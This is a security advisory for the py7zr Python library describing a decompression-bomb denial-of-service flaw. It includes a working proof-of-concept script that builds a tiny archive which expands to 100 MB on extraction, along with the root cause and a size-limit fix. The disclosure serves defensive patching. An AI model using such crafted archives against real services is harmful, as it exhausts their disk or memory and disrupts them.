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GHSA-gjrg-mpp7-g774

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

Details

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

**Proof of concept:**

```python import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive') ```

**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.

**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:

```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable

total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ```

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

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Affected packages

PyPI / py7zr
Introduced in: 0 Fixed in: 1.1.3
Fix pip install --upgrade 'py7zr>=1.1.3'

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